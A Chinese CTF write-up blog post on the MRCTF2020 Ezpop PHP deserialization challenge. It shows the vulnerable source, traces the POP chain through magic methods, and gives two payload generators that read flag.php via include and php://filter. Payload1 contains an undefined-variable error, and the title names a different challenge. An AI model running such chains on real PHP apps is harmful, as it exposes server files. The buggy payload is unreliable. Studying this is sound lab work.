zoukankan      html  css  js  c++  java
  • [BJDCTF2020]EzPHP-POP链

    那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例

    题目

     1 Welcome to index.php
     2 <?php
     3 //flag is in flag.php
     4 //WTF IS THIS?
     5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
     6 //And Crack It!
     7 class Modifier {
     8     protected  $var;
     9     public function append($value){
    10         include($value);
    11     }
    12     public function __invoke(){
    13         $this->append($this->var);
    14     }
    15 }
    16 
    17 class Show{
    18     public $source;
    19     public $str;
    20     public function __construct($file='index.php'){
    21         $this->source = $file;
    22         echo 'Welcome to '.$this->source."<br>";
    23     }
    24     public function __toString(){
    25         return $this->str->source;
    26     }
    27 
    28     public function __wakeup(){
    29         if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
    30             echo "hacker";
    31             $this->source = "index.php";
    32         }
    33     }
    34 }
    35 
    36 class Test{
    37     public $p;
    38     public function __construct(){
    39         $this->p = array();
    40     }
    41 
    42     public function __get($key){
    43         $function = $this->p;
    44         return $function();
    45     }
    46 }
    47 
    48 if(isset($_GET['pop'])){
    49     @unserialize($_GET['pop']);
    50 }
    51 else{
    52     $a=new Show;
    53     highlight_file(__FILE__);
    54 } 

    分析

    将涉及到的魔法函数先列出一下:

    __construct   当一个对象创建时被调用,
    __toString   当一个对象被当作一个字符串被调用。
    __wakeup()   使用unserialize时触发
    __get()    用于从不可访问的属性读取数据
    #难以访问包括:(1)私有属性,(2)没有初始化的属性
    __invoke()   当脚本尝试将对象调用为函数时触发

    大致分析一下,这道题主要存在两个点:

    1.序列化pop链
    利用几个类之间相互关联进行构造
    2.文件包含漏洞
    Modifier类中append函数使用了include(),会出现文件包含漏洞。

    详细分析

    1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

    2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;

    3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

    4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

    5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。

    Modifier::__invoke()<--Test::__get()<--Show::__toString()

    总结

    首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。

    payload1

     1 <?php
     2 class Show{
     3     public $source;
     4     public $str;
     5 }
     6 
     7 class Test{
     8     public $p;
     9 
    10 
    11 }
    12 class Modifier{
    13     protected $var = "php://filter/convert.base64-encode/resource=flag.php";
    14 
    15 }
    16 $s = new Show();
    17 $t = new Test();
    18 $m = new Modifier();
    19 $s->source = $s;
    20 $s->str = $t;
    21 $t->p = $r;
    22 var_dump(urlencode(serialize($s)));
    23 
    24 ?>

    payload2

     1 <?php
     2 class Modifier{
     3 
     4     protected $var = "php://filter/convert.base64-encode/resource=flag.php";
     5 }
     6 
     7 class Show{
     8     public $source;
     9     public $str;
    10     public function __construct(){
    11         $this->str = new Test();
    12 
    13     }
    14      
    15 }
    16 class Test{
    17     public $p;
    18     public function __construct(){
    19 
    20         $this->p = new Modifier();
    21     }
    22 
    23 }
    24 $a = new Show();
    25 $b = new Show();
    26 $b->str = "";
    27 $b->source = $a;
    28 var_dump($b);
    29 var_dump(urlencode(serialize($b)));
    30 ?>

    参考:https://blog.csdn.net/weixin_43952190/article/details/106016260

  • 相关阅读:
    软件工程—附加作业
    软件工程最终总结
    电梯调度(两人结对)
    VS单元测试
    第二周作业(2,3题)
    VS的安装
    补救
    漂亮男孩不说谎
    博客带我成长
    Java后缀数组-求sa数组
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13617229.html
Copyright © 2011-2022 走看看